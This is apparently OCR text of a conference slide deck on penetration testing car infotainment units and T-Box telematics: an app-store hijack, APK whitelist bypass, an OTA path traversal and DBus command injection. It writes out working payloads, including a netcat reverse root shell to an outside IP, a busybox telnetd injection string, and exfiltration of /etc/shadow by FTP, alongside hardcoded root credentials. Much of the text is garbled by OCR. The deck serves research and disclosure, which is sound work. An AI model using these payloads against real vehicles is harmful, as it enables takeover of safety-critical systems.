As an entertainment system, VI usually also provides ways to download or
install corresponding applications.
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Store Install Process

DNS hijacking attacks store clear text transmissions. To
replace the store apk, you can install a custom apk file
and obtain a shell.

4823 56.108556
4937 56.240200
4948 56.272214
4949 56.272294
4950 56.272295
4951 56.272630

AOQRD E& DITAMENA

Request URI: /
Request Version: HTTP/1.1
RANGE: bytes=0-\r\n

/upgrade/file/20230407/

HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP

UTTD

1414

358 GET /J/upgrade/file/20230407/

1414
1414
1414
1414
1414

1414

Continuation

Continuation
Continuation
Continuation
Continuation
Continuation

Cantinuat+inan

-v5.0.2.5.754-2023033115(

-20230331150057. apk

User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.1.0; AOSP on Harman Platform Build/0PM1.171019.025)\r\n

Host: file

Connection: Keep-Alive\r\n
Accept-Encoding: gzip\r\n

\r\n

[Full request URI: http://file
[HTTP request 1/1]

\r\n



Installation blocked by whitelist

l \ 2 “"success": true,
I IVI | 3 “message": null,
| | 4 "data": |
| 5 {
' | 6 “"name": "SYSTEMWHITELIST",
| 7
| white list : 8 "value": "WHITELIST",
| 9 "status": 1,
V‘\O't N 'the_ whi‘te_ hS't | 7 " i 10 "version": "1.0.0",
— A , : 17 | 11 “"dataValue": |
’ —v ‘d‘ 13 nnameu: n@gjf_.gﬁ‘_\u'
4 I ' 14 "packName" : "e t loudmusic. iot"
Os't‘tO\lef" packName": "com.netease.cloudmusic.iot",
i | % N | 15 "immerseUse": @,
§ I 8 E\/\l APK Packo«;,e_ | 16 "secondCreenUse": @,
: I % | 17 "driveUse": 1,
. ’ % 18 "version": "#",
v : W\StO\“ 'tO d\Sk Q : 19 "hash': "g"
20 }
|
} éée 21 {
i I 22 "name": "BilibiliFE&HAR",
! j 23 “packName": "com.bilibili.bilithings",
I | 24 "immerseUse": @,
| 25 "secondCreenUse": 0,
l ' 26 "driveUse": 0,
i | 27 "version": "#",
‘ 28 i'hashll: Il#ll

/
~
N
O

l
!
!
!
!
|
!
!
!
!
!
|
!
!
!
!
!
!
\



Bypass installation verification

B ~ 1. Select the application we want to install and unpack
.. AndroidManifest.xm| |'|: W|th apktOOIS

1 apktool.yml
assets

ib $ apktool d -o output apk/ apk hame.apk

— META-INF
original

| & O

res
smali

smali_classes?

VvV OV V V VYV YV YV

o O B

unknown



1

LIH

140
147
148
149
150
151
152
153
154
155
156
157

N AndroidManifest.xml X

N AndroidManifest.xml

1

2
3

<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string

0-2438415" package="gcom.netease.cloudmusic.iot" platformE

name=-alwadys_5now_5stalus_pdar =2Alwdys SNnow 110LE par</siuring=»
name="app_all_apk">All apks</string>
name="app_backuped">Backed-up</string>

name="app_fixed">App Pinned</string>
name="app_hidden'">Hidden</string>
name="app_hide_close_notify_msg'">After close the notification icon,
name="app_manager">App Manager</string>
name="app_name">MH 5= F</string>
name="app_name_cardcollection">foo Card Games</string>
name="app_name_checkers">Checkers</string>
name="app_name_chess'">Chinese Chess</string>
name="app_name_collection">foo Board Games</string>

2. The package name is in AndroidManifest.xml,
search for package and modify the package
name package="com.netease.cloudmusic.iot”

The APP name of the res/value/strings.xml file
also needs to be changed.



3. Repackaging and Resigning APK with Reverse a shell
apktools and Apksigner.

(base) _ o 7 77 % ssh ssh192.168.137.137 -p2222
The authenticity of host '[192.168.137.137]1:2222 ([192.168.137.1371:2222)' can't be established.
RSA key fingerprint is SHA256:3mNL574rJyHCOGm1e7Upx4NHXMg/YnJJzg+3XhdQQxI.

This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Narning: Permanently added '[192.168.137.137]:2222' (RSA) to the list of known hosts.

Password authentication
(ssh@192.168.137.137) Password:
' - . T k-
acct init.rc proc



N

netstat:
netstat:
netstat:
netstat:
netstat:
netstat:
netstat:
netstat:
netstat:
netstat:
netstat:
netstat:

shell

/proc/dp:'

fproc/ith:
/proc/fm:
/proc/mv:

/proc/mé4u:
/proc/rid:
/proc/svp:

/proc/wdk:
/proc/keys: Permission denied
/proc/kmsg: Permission denied
/proc/misc: Permission denied
/proc/iomem: Permission denied

Permission denied
Permission denied
Permission denied
Permission denied
Permission denied
Permission denied
Permission denied
Permission denied

.

untrustapp's access to the service will be intercepted by all selinux rules and
cannot escalate privileges

untrustapp cannot access many commonly used directory files, for example,
it cannot view the ports bound by netstat —p

Netstat cannot view the specific PID or Program
name. Originally, low authority could not obtain
these details.



Remember the engineering mode
Trick! mentiqned earlier?

There is an export log and | found some

Surprises

’--—--—-—--:—-—-—------------------------------—--—---—------m

---------

.........

e TR SR R R R W W W WS W WSS WSS W W W W W WA - —

------——---—---‘



Log Infromation leak

#netstat —-apnt

Active Internet connections (established and servers)
Proto Recv-Q Send-Q

tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp

0

(S I S I S B I o T o T o I B I o I

0

(ST o B o S B I o T o T o o B R o T

Local Address

127

192.
127.
192.

[ T o I B S T o T

127.
127.
127.

(S I S B S B R S T

(o I B T S T o T o B o B o T
(S B B T T S T o I R o T

.0.0.
168.
.1:56790
168.
: 7000
16010
:4444
:65501
: 9090
:9347
.1:56790
.1:38456
.1:37860

S
S

15253
497 +54

100.3:55000

Foreign

[ I S I S B I S T o T S R I S I
(S T o B B T S T o T B S N

(ST O B S R S B o I T o T Y S B o I o T

127.
127.
127.

.0.

0.

o B S B S I S T S T o B B S T S T oS B o B S

Address

* % X ¥ ¥ X X X X

ok
.1:37860
.1:6010
.1:56790

State

LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN

PID/Program Name
5051/dnsmasq
5051/dnsmasq
2353/someipsdd

2402/‘- A ]  LIWA S IR e O NI YY W Ived B e LI II\‘MUPH llllll

NZAB S s oaisin s RO i T s D
2o98 ) sy
2369/F. .-

7.5 5 71 7 S IR
AL oo o
23T e e 0 e ONE DAL O-SErvice

ens@l.0-service

ESTABLISHED 2353/someipsdd

ESTABLISHED 3864/com.:

speech: remote

ESTABLISHED 2168/vps

0@0.0-service



Elevation of privileges
from untrusted_app user to shell user

The system settings are only hidden, but not removed from the system and can
be recalled.

By installing Google Play’s FooView, you can get a list of all applications through the
application and open it. System native settings and enable ADB

' Google Play #% &R ®8 BF% LE

FVESTIR - "
fooView, XS, FREHE S N

alalalal=
4.3% 5007 + (A




Through reverse engineering, | found that after entering the engineering mode, there is
a logic to upgrade.

/* renamed from: P */
/* loaded from: classes.dex */
public class VersionUtil {
/* renamed from: a %/
public static DocumentFile ml81a(DocumentFile documentFile, Activity activity) {
DocumentFile[] mo2845bK;
DocumentFile documentFile2 = null;

if (documentFile.exists() && (mo2845bK = documentFile.mo2845bK()) !'= null && mo2845bK.length > 0) {
for (DocumentFile documentFile3 : mo2845bK) {
if (!documentFile3.isDirectory() && documentFile3.getName().contains("T r'') && documentFile3.getName().endsWith(".apk")) {

documentFile2 = documentFile3;
}
}
}

return documentFile2;

Store any apk and rename it to T**r.apk, and you can install it through this process.



OTA file name traversal problem

OTA file name path traversal

1. Read USB upgmde &le

es_Not_Tounda, « SHOW
ect i Mupdate_avnt™)) {

this.aUpdateType = "AWT™;
} else {
showPackageFoundDialog(this,

private void bingServicel)
glan ALENL & ha '
ntentseuic 1o (- BN GRS R COe R
ntent.setrFackage | Com, TS5 . Car.upgrace.,core
bindService(intent, this.otaConmection, 1);

et o P ot S

Binder

2. Use Binder communication to call OTA Service

i TsUpgradeService

th) throws Resotefsceptjion |
art_updatel1™);
tal == null) |

¢ JAs.Car.wpgrade.core.atol,
putlic o SENSERTL_upaRtap i ing fils

' 1ce. TAG, “ota
vice, this, alpgrad
vice.this.initi)g

til.0elntefilastitalogracdaSapvit
Fllsutil.deletefiles(Talpgrades
FiieUtit.syncFilel):

radteit

vothis . geisSteingif, string

«TEAL

il.0elayl);

LOg. 2l Tslpgr

"-"’“-9}'_‘-‘-';’,*_73“‘- SLring.0%8_awvat

pathil;:

ote i pathlle

aeService, TAG, “ulZipfile: ™ « TilePath);
. v (
FileDtiT,unZipFile(rew Flle(Tileath), TalpgradeService . this.getString(R.atring.ota_avnt _path)
TepgradeService . this.algpradetit 1 UetlpgradeSten| 8
result = 13
- dabasoBoNuuebion - - . & - L -, an. -
private static voin wwliphilnilupfitie 2000100, 3 TolderPath) thraws [0 scea™Nn, Jiptaceg o THIORRTIFoMGTuIaptim, Excepti
try . L
IrumeratiorsTs entries » 21pFile.ontriesl)} S.D\f‘ect SP'.C\V\? op 3etﬂame leads
wAiie lentriss havsare! ftements |
IipEntty ottry o (24pEne entriesPantlimmenti |}
IF Temiry . 130 1irectgryl)
Log. 1ITAL, “unlipfilel 01 fileEoeration realuti™ o now Fileinew Stringientry. QRN (). etBytes | e L RR “CAZIIZ* | b ekl ) )
B AL T
e Oevfile » cow Tilnlnew S iInglifolderPath ¢ Fllio.srparster « cntr,.Ml «etiyten BRIV, “Saranri;

W (foesfilecenintall) 4
Fiie 1 leParemiDir » oes
1T AT leParemiDir. en it

Log« LTAG, “unlipfi

te.ontParentPiint);

S

)

LOg ITAL, “ualipFileld D) Tile operation resiutl™ o gesfile.Creatatvenfiinl ) )2

sonratelniivnm 2 ipVfite. o inputSireanionteryl, how FlisOutpuiStireanidesrile! )

)
<string nase="0ta_savejgpath“>/otac/string>
<String names"0ta_soc Path™s/ota/avnt/socC.2ip</stiring>
<string nase="ota_scujpath™s/ota/avnt/ecu</stiring>
<string name="0RB BVAL DRLR">/ota/avnt</string>
<string name=“cert_path">/data/misc/certs/</string>
<string name="release _note _path™>/otasavnt/release _note.xml</string>
<string name="real_ota_scu_path“>/share/scu</string>

78 Tile operation resit o T leParemtDir.midinid)

o path troversal Vulnerab;li‘ty



The APK uses an official public signature, allowing
applications with uid=1000 to be installed.

APK signature verification result:

Signature verification succeeded
Valid APK signature v2 found

Signer 1

Type: X.509

Version: 3

Serial number: 0xb3998086d056¢cffa

Subject: EMAILADDRESS=android@android.com, (N=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
Valid from: Wed Apr 16 06:40:50 CST 2008

Valid until: Sun Sep 02 06:40:50 CST 2035

Public key type: RSA

Exponent: 3

Modulus size (bits): 2048

Modulus: 197523605149941453155162009226265001132010959302108771392938823604914420854787861515417201529714771439838818633216645234225476111100992737652241205683647770346509126789078210935808901632517374149247°

Signature type: MDS5withRSA
Signature 0ID: 1.2.840.113549.1.1.4

MD5 Fingerprint: 8D DB 34 2F 2D AS 40 84 02 D7 56 8A F2 1E 29 F9
SHA-1 Fingerprint: 27 19 6E 38 6B 87 S5E 76 AD F7 00 E7 EA 84 E4 C6 EE E3 3D FA
SHA-256 Fingerprint: C8 A2 E9 BC CF 59 7C 2F B6 DC 66 BE E2 93 FC 13 F2 FC 47 EC 77 BC 6B 2B @D 52 C1 1F 51 19 2A B8



Root Case1:DBUS

Remote Exploitation of an
Unaltered Passenger Vehicle

Dr. Charlie Miller (cmiller@openrce.org)

Chris Valasek (cvalasek@gmail.com)

August 10, 2015

You can deduce that executing code as root on the head unit is a trivial matter, especially when the
default installation comes with well-known communication tools, such as netcat (nc). We wish that the
exploit could have been more spectacular (editor’s note: that is a lie), but executing code on the head
unit was trivial. The follow 4 lines of Python opens a remote root shell on an unmodified head unit,
meaning that an attacker does NOT need to jailbreak the head unit to explore the system.

# 'python

import dbus

bus obj=dbus.bus.BusConnection("tcp:host=192.168.5.1,port=6667")

proxy object=bus obj.get object ('com.harman.service.NavTrailService','/com/ha
rman/service/NavTrailService')

playerengine iface=dbus.Interface (proxy object,dbus interface='com.harman.Ser
vicelpc')

print playerengine iface.Invoke('execute','{"cmd":"netcat -1 -p 6666 |
/bin/sh | netcat 192.168.5.109 6666"}"')



Root Case1:DBUS

« Remote code execution attacks
* Local privilege escalation
 Qverride control




Root Case1:DBUS

List all DBUS services

dbus-send --session --type=method _call --print-reply --
dest=orq.freedesktop.DBus / org.freedesktop.DBus.ListNames

Method to list DBus of a certain system

dbus-send --system --type=method call --print-reply --dest=
/ orqg.freedesktop.DBus.Introspectable.Introspect




Root Case1:DBUS

<node>
<Interface name="orqg.freedesktop.DBus.Properties">

<method name="Set">

<arg name=" " direction="in" type="s"/>
<arg name=" " direction="in" type="s"/>
<arg name=" " direction="in" type="v"/>
</method>
</interface>
<node name=" />

</node>

dbus-send --system --print-reply --dest=<service_name>
com.xxx.ivi.vehiclefunction.window.setProperty string:'{" "1, ":2,"d" 1)



Root Case1:DBUS

DBUS has a service called tbox service

v9 = sub_21828(a4, "ImageName", v23, 4096);
LOWORD|(v10) = (unsigned __int16)"tbox-service";

if ( v9 )

{ : . . * *
HIWoRD {10} = [unsioned intiPthoxanruics® s 163 int CTBoxDbus::SetValue(int a1, _DWORD *a2, _DWQORD *a3)
yunosLogPrint(@, 4, v10, "path is %s \n", v23); {
std::string::string(&v21, v23, &v22); : . : .
memseth? 0, 0,(18@0”); if (Istrcmp((const char *)s, "EngDiskRefreshPerform”))
sprintf(v24, "/usr/bin/start-nfs.sh %s", "/tmp/export/"); {
yunosLogPrint(@, 4, "tbox-service", "command is %s \n", v24);
systemg v24); ) A(@l, a3, s, v95);
memset(v24, 0, 0x1000u); )
sprintf(v24, "rm -rf %sx", "/tmp/export/"); gOtO LABEL_37,
yunosLogPrint(@, 4, "tbox-service", "command is %s \n", v24); }
system(v24);
memset(v24, 0, 0x1000u); }

sprintf(v24, "cp %s %s -rf", v23, "/tmp/export/");
yunosLogPrint(@, 4, "tbox-service", "command is %s \n", v24);
system(v24);

- - N



Root Case1:DBUS

DBUS has a service called tbox service

v9 = sub_21828(a4, "ImageName", v23, 4096);
LOWORD|(v10) = (unsigned __int16)"tbox-service";

if ( v9 )

{ ' . 4 * *
HIWoRD {10} = [unsioned intiPthoxanruics® s 163 int CTBoxDbus::SetValue(int a1, _DWORD *a2, _DWQORD *a3)
yunosLogPrint(@, 4, v10, "path is %s \n", v23); {
std::string::string(&v21, v23, &v22); : . : .
memseth? 0, 0,(18@0”); if (Istrcmp((const char *)s, "EngDiskRefreshPerform”))
sprintf(v24, "/usr/bin/start-nfs.sh %s", "/tmp/export/"); {
yunosLogPrint(@, 4, "tbox-service", "command is %s \n", v24);
systemzvzd); : A(a1, 33, S, V95),'
memset(v24, 0, 0x1000u); )
sprintf(v24, "rm -rf %sx", "/tmp/export/"); gOtO LABEL_37,
yunosLogPrint(@, 4, "tbox-service", "command is %s \n", v24); }
system(v24);
memset(v24, 0, 0x1000u); }

sprintf(v24, "cp %s %s -rf", v23, "/tmp/export/");
yunosLogPrint(@, 4, "tbox-service", "command is %s \n", v24);
system(v24);

- - N

dbus-send --system --print-reply --dest=com.xxx.ivi. TboxService /com/xxx/ivi/TboxService

com.xxx.ivi. TboxService.SetValue string:'EngDiskRefreshPerform® string:'{"ImageName": "; /bin/busybox
telnetd -I /usr/bin/bash -p 6667;"}'



Root Case? : Local Socket

A program is bound to a local socket



Root Case3 : Debugger command injection

$ am start com.xxx.devtools/.view.aftersales.CommonCmdActivity

UIWXIWXTXK £7 1UUL 1UuUL D900 LVLLTVULTIR L1119 VYTHIuwvil

drwxrwx—x 3root root 3488 2021-12-21 00:28 vendor_ce

drwxrwx-x 3 root root 3488 1970-01-01 08:00 vendor_de

drwxrwx—x 6 system system 4096 2021-12-21 00:28 xuiservice

uid=0(root) gid=0(root) groups=0(root),1000(system) context=u:r:xpaftersalesd:s0

deas identified identify ideal Vv

HIR WOAREE $iro.product model -

BERRS
WA BRMAX I $0/mnt/vmap/config.txt -




Vehicle Internal Network Penetration Test Post-Pentest Researching of Car



Vehicle Internal NetworkPenetration Test
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Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

» Type 1. Weak pass and HardCode

/* renamed from: ai x/

public static void m204ai(boolean z) {
if (z) {

Common. f3345Tq

Common. f3346Tr

= Lt

return;
}
Common. f3345Tq = "root";
Common.f3346Tr = "oelinux123";

= A

# Enabled Username/Password: root/root,

[uid=0 gid=0 perms=8608] /etc/shadow =

™7

FE ST

sshd:*:1231323780:9:0

gnxuser : @SEHLE

¥

Vi

(® )

0O NOWUL S WN»

NN N N NN R e el el bl el bl el fd s
U EH W N M OO VDO YN WUDSEeS WN-= S

J
]

LATA'FSLF A 1))

ADDR_HOST='fd53:7cb8:383:3::73"

QNX interfaces

pflog0 - pf firewall interface

ntn_vp0 - unknown
inet6 fe80::a2b0:c0ff: fed0:e5ff%ntn vpl prefixlen 64

SSH_SSH="sshpass -p Rkdckd1023ghdw12020Q

eth0 - QNX-AGL network

PATH_INJECT="/sys/devices/platform/10900000.spi
DEV_PATH="/data/swup"
USB_PATH="/tmp/swdlusb"

CMD() { echo “"$@"; $@; }
sync_sleep() { echo "sync; sleep $1"; sync; sync; Sync; Sync
fail_exit() E

inet 192.168.0.2 netmaskiOxffffff00
inet6 feB80::72b3:d5ff: fe%92:7a8l%eth0 prefixlen 64

GW-QNX-AGL network
inet 0::72b3:d5ff: fe92:7a81%vlan0 prefixlen 64

inet6 £d53:7cb8:383:3::73 prefixlen 64

P N R N N N N T Y 13

echo i e e e e s e e e e ' e wmiew
echo "Fail occur, Check ${USB_PATH}/Error_default_usb.lo
echo "HERRBBRRBRARBRRBBABERRBRARBRRBBARBRRBARBBRRBBRRBRRBBARBARBBRRBRRHR" ; sleep 5
CMD kill -9 $(ps -ef |grep default_usb |grep journalctl | awk ‘{print $2}'); sleep 2
CMD cp ${DEV_PATH}/default_usb.log ${DEV_PATH}/Error_default_usb. log

CMD mv ${DEV_PATH}/default_usb.log ${USB_PATH}/Error_default_usb. log

CMD rm -rf ${DEV_PATH}/usbupdate

sleep 2

CMD /usr/bin/run_engineering-popup.sh SWUP ERR

sleep 2
CMD $SSH_SSH sh -q -0 StrictHostKeyChecking=no $ADDR_HOST |/etc/ssplash_cmd.sh /etc/swupdate_inprogress_err.jpg &
rm ${DEV_PATH}/Running_USB

sync_sleep 10

exit

hl

root :@S@NK1WES1quMplumqugkUSnFEpPGNS58k Is4wQ0gDDNsB6vimR+bbGPUKM+9P6bFUzo3Rm+Qes5MS+17xKhwaeJEg==aM3ig5ZTIiMTM@YTRIYTE2ZGF jMDAhZTF1Y2N1MDVmNmE=:1468494669:0:0

:1468488235:0:0



Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

» Type 2. USB devices

Usually only IVI is Android

system. ,
sually ADB means Android

Debug Bridge.

BUT Linux system could
also be ADB Server.



Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

« Type 3. FTP Service

msmnile gvimq .

ata/local tmp t busybox ftpge 92.168.0.4 —u root testZ. txt /etc/shadow
T ata/local/tmp B cat test2. txt
root: ¢LC'JOSR.th101h uPEH.«tnvqéﬁ(ﬁQ \.anh L‘ICoan-- '0tOWYwDPHebmi0/8Evskpt8QbDoS8onwylwuVkg==@NGYxN jdiMDVhYWYOY jg3N2F jNDUwMDY

d
msmnile gvmq:/d

TFTP service open on UDP port that are sometimes ignored

130 |msmnile_gvmq:/data/local/tmp $ ./busybox-arméd4 tftp -g -r /etc/hosts -1l local_hosts 192.168.1.25 69

etc/hosts 100% !###I*x####mxx#x###*xtxtwtﬁrxm#w##M#mwmtxtiw#mimilr#t#!####w111111w#miw###w SSES S S e +:wwwxmxw#xiim#w#x####mxw#xtiw#r#xvixxi 22 0:00:00 ETA
nsmnile_gvmq:/data/local/tmp $ 1s

usybox—armé4 conf local_hosts mk_armb4_v8 npc

nsmnile_gvmq:/data/local/tmp $ Lls -al

otal 20688

rwxrwx==x 3 shell shell 4096 2023-10-30 5 1€ W
drwxr=x=-=x 4 root root 4096 19/0-01-01 08:00 ..

- WX WX FwX shell shell 1478216 2023-08-22 14:58 busybox-armbt4
d rwX rwx rwx shell shell 4096 2023-10-30 12:59 conf
M= TW=Trw- shell shell 22 2023-10-30 16:33 local hosts
WX rw—rw- shell shell 8715448 2023-03-10 10:48 mkK_armé4 v8
rwxrwxrwx 1 shell shell 10944512 2021-04-08 14:36 npc
nsmnile_gvmq:/data/local/tmp $ cat local _hosts
127.0.0.1 localhost




Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

« Type 4. OTA Process Vulins O

black hat

EUROPE 2022

A paper of Blackhat EU 2022 /ulnerability in software update process via USB
h a S d i S C I O S e d a C O m m a n d * The function extra_script_1st_stage checks another script /tmp/swdlusb/swdl-pre-extra-exec.sh on the USB drive
i nj ecti O n Vu I n e ra bi I ity i n * |If the file exists, then the script runs it without any check of digital signature.
Volkswagen ID3.
EJ //’;xtra_script_lst_stage() { “\\

if [ -e /tmp/swdlusb/swdl-pre-extra-exec.sh ]

then
echo "[LGVM-SWDN] Execute pre extra script”
chmod a+x /tmp/swdlusb/swdl-pre-extra-exec.sh
/tmp/swdlusb/swdl-pre-extra-exec.sh $CUR_DEV_VER

fi

X, o




Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

» Type 4. OTA Process Vulns

‘w‘hil@ ( | )
{
. . property get(34357LL, (char *)&a20 + 4, 38523LI
Same I|ke thIS. if ( strlen chk((char *)&a20 + 4, 92LL) )
{
system( (const char *)&a220 + 4);
property set(34357LL, 38523LL);
}
property get(38271LL, (char *)&a20 + 4, 38523L
1f ( strlen chk((char *)&a20 + 4, 92LL) )
{
sprintf(&a9, , 38292LL, (char *)&a20 + 4);
system(&a9) ;
property set(38271LL, 38523LL);

}
1f ( (v22 & 1) == 0 && !access(byte 962A, 0) )
{

system ( ) ;
va22 = 1




Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

» Type 5. Private Service Vuln

Private BINARY FILE
means

You cannot find relevant
information when searching on
Google.

traffic analysis

-—_ "X

PROTOCOL



Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

» Type 5. Private Service Vuln

root shell \Z g sudo wireshark tshark tepdump

Traffic Analysis —=> connect AP in Same network segment with private service M

& Yes
T T ett ercap arp pPoison

else —=> x

PROTOCOL



Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

» Type 5. Private Service Vuln

o“cVoooo.noodrdbcv IOZV‘W.V...I....DBcvaer timers : 102

1: Gwo

2: GW,

3: GW,

4: GW,

5: GW,

6: GW,

7s GwW,

8: GwW,

9: GW,

10: GW,

11 GW,

12 GW,
[/ e, TOPUPRR b SXR R LT IQece™tecccccnes NN.. 's~+..... ssssses e Veisesssss password "’
o Veoean
..asopenftp'~~.V....0ues v s ssseenns version.~"...... ).. firmware version

: 0TA_J302BQB21A007 [A-01]\Jan 6 2023\08:18:35
: MPU_J302BQB21A039(A-5]\Jan 6 2023\08:46:53
: MCU_J302BQB21A023 [A-03]\Jan 5 2023\13:24:54

: MCU_J)3028QB21A023 [A-03]
: BTL_J3028Q001[A-01]\Jun 25 2018\14:48:36

ota app version

mpu app version

mcu app run version

mcu app upgrade version
mcu bootloader version
version show ok

dataover

Pt

EE....I...I...I
ooo.SOCococoooo

PSDCU.FL'..I.......I
PSDCU-FLI.'........'
PSDCU_FR...I........

PSOCU PR csnneaanses
PSDCURL s s nasavava
PSDCUGRL v s s manssee
PSDCU_RR...... .
PSDCU RR:cecacsnnnne

Tz N .

0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
. 0k

: AG35CEVAR@5AQ7T4G_OCPU_INTCNGOCOM

-~ ~~Il..l.l..‘.[ LI

.............pm

.........l..“..........password ..: .,"' w......'... °k

.W.F.....

..drdbcv 17va~.F.....0..DBCValue timers : 102

4 - GW,
y 4 GW,
S35 GW,
4: GW,
5 GwW,
6: GW,
7: GW,
8: GW,
9: GW,
10: GwW,
113 GW,
12: GW,
13: GwW,
14: GW,
15: GW,

.M.F.....
..drdbcv 27r~~.F.....0..DBCValue timers : 102
1: Gwn

P18B012
P18B112
P18B212
P18B464
P18B217
P18B400
P18B61C
P18B200
P18B098
P18B498
P18B398
P18B664
P18B316
U18B686
P18B71C

P118312

0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
0.000000("")
@.000000("")
0.000000("")
0.000000("")
@.000000("")

@.000000("")

dataover
16 / 5200(MB)

e o S .SD Status:

Tma Fa CRC R R R [WQ Fo L ] ./mnt/SdcaI’d/Can109/20230622_144410(25_339) . in

/mnt/sdcard/canlog/20230622_141506(25_331).iwd
/mnt/sdcard/canlog/20230622_175113(25_384).iwd
/mnt/sdcard/canlog/20230620_173835(25_215) . iwd
/mnt/sdcard/canlog/20230622_204513(25_432).iwd
/mnt/sdcard/canlog/20220923_194017(20_37).iwd
/mnt/sdcard/canlog/20230616_125305(25_68) . iwd
/mnt/sdcard/canlog/20230622_153232(25_358) . iwd
/mnt/sdcard/canlog/20230621_002451(25_230).iwd
/mnt/sdcard/canlog/20230414_192910(23_22). iwd
/mnt/sdcard/canlog/20230624_153920(25_448) . iwd
/mnt/sdcard/canlog/20230708_075208(25_474).iwd

/mnt/sdcard/canlog/20230622;~~.F..ccviuvvnnnnnnnns _20

/mnt/sdcard/canlog/20230618_203258(25_134).iwd
/mnt/sdcard/canlog/20230520_144812(23_58). iwd
/mnt/sdcard/canlog/20230622_183153(25_402).iwd
/mnt/sdcard/canlog/20230618_112508(25_119).iwd
/mnt/sdcard/canlog/20230622_173241(25_374).iwd
/mnt/sdcard/canlog/20220917_160700(20_32) . iwd
/mnt/sdcard/canlog/20230622_151853(25_352).iwd
/mnt/sdcard/canlog/20230621_082031(25_277).iwd
/mnt/sdcard/canlog/20230621_020714(25_250) . iwd

NAaocoooooooonoonon

aNalalalalaNaNaNa!

5

3265451
3519463
3058129
2819251
2897796
3063166
4255923
3017465
2444167
2482002
1873698
56(25_415). iwd
2210142
2902281
7032115
1818935
1530952
2307340
4161186
2466868
3643387

2023-06-22
2023-06-22
2023-06-20
2023-06-22
2022-09-23
2023-06-16
2023-06-22
2023-06-21
2023-04-14
2023-06-24
2023-07-08
C

2023-06-18
2023-05-20
2023-06-22
2023-06-18
2023-06-22
2022-09-17
2023-06-22
2023-06-21
2023-06-21

14:15:41
17=51:53
17:39:07
20:46:10
19:40:50
12:53:36
15:33:28
00:25:22
19:29:41
15:39:52
07:52:39

4535718

20:33:30
14:48:43
18:33:44
11:25:40
LIs3351%
16:08:59
15:19:46
08:21:03
02:07:58

C 30484¢

2023-06-22 20:26



Vehicle Internal Network Penetration Test

String serverAddress

o sub CE468(18, 3, (int)"processClientRequest”
“ sub CE468(18, 3, (int)"processClientReguest” _
else }f serverPort =
o it ( vid )
039‘% {
e memset (byte 1AD5850, 0, slzeof(byte 1ADSB50) {
1 ) a' @ memcpy (byte 1AD5SB50, ( ¢ void *)(al + )
return )sub D72 sub CE6AC( 18, 3, 0, "cl Lent request data:",
e L ‘e ( B)V Sncke O 5 *arve O sgrvenr y
1f A - 1f(tw:elmnaﬂn01==6 : Socket socket Socket(serverAddress, serverPort)
{ o ! ub _CE468(18, 2, (int)"processClientReques
memset (filenhme, 0, Oxll ® ! } sub D92C(arg 0, byte 1ADSBS50, (
“WW3W£?48“‘?:’(Q*+5 slse | OQutputStream outputStream = socket.getOutputStream()
{ = - ‘.. . { -~ -
° ° dword_127538) = *( DWORD 4 = sub_D92C( , 0, 0, al); InputStream inputStream = socket.getInputStream()
o e rivate Service Vuln o TS :
o [6]='3f“-‘ led __intle +4v6; System. .println( )
if ( vS9 == B7 . while ( v6 < ( 2)byte 127643 TR : : ’
( ( 7)) : e resalts String hexStringl =
: — _ sub D140(&p84); ® 750}
int fastcall sink runc(cor - al) }
{
FILE :Vii /; rl ?180 * System. printf(
zigz t'vw,a./// 9 if ( sink_func(filename) ) - £31
: - ’ o { String filename
“‘:t 'v.‘}: ;; _ 0, (int)"executeRequestCommand”, 2376, 3 J . N v :
thi Zré, Yl tanvil *)sub D728(17413, =, 1); [] testmessage DataMessgQe.send lk 29(filename.length(),filename)
if;f ”’r[:ir]}/// g AboRd ;:i:‘;" Tﬁflv if ( _xstat(3, filename, (struct stat *)stat buf) ) out] wut>1¢‘eaxkuwrlt{zdtestjwessa{hij
‘ ; = _errno_ locatlon(), outputStream.flush()
ﬁgggggg.f.°'o°*;1§g;;( o sub_CE468(18; 0, (int)"executeRequestCommand", 2386, -
' ' %4 S HA e receivedDat: -
snprintf(s, 0x118u, '8'", al); } ’ 0; gcelveavata
' podbn( =i else = jluJut8111539£71230(rw3c‘ vedData)
oy { : .
?f ( ) ) 84 = @ I *)&st f144); prantf( // )
i = fread(ptr, lu, 0x80u, v2); snnadvatiiata) &
Pclose( ); ) ) . _ _ . "e u'.:.\./'}/UUFH_dJ |
lf ( vy ) . n ],'13 t £ ’ '11 )
. D- 48 1\ o
sub CE468(7, 0, (int)"file isusing”, 667, "file is using by:%s8", (char)ptr); ’,/
return 1; /
}
d else
sub CE468(7, 2, (int)"file isusing”, 672, "file is not using”, arg);
return 0;
} //
}
else fﬁ
{ ,/
v6 = _errno locatlon(), o o . .
- e §) strerror (*vé); (base) migriane@PMigrainedeMacBook-Pro tbox_all % telnet 192.168.1.1
sub CE468(7 0, (int)"file isusing”, 658, "popen failed:%s", v7); .
return 0; : TIYlng 192:168:. 1. L%
.}’ Connected to mobileap.qualcomm.com.

Binary file get from T-Box FTP service.

Escape character is '~]'.

mdm-perf 202103300946 mdm9607
bash-4.3# id

uid=0(root) gid=0(root)
bash-4.3# |}

*T-Box, Telematics BOX.



Vehicle Internal Network Penetration Test

Tricks and Cases of Pentesting

« Type 6. Remote Control Car

Unix Domain Socket Call

proc >

O O N O WUV &6 W N

O
W N -

> net > B8® unix

Num

cb420480:
ca73b200:
ca73adge:
ca73a480:
cb421200:
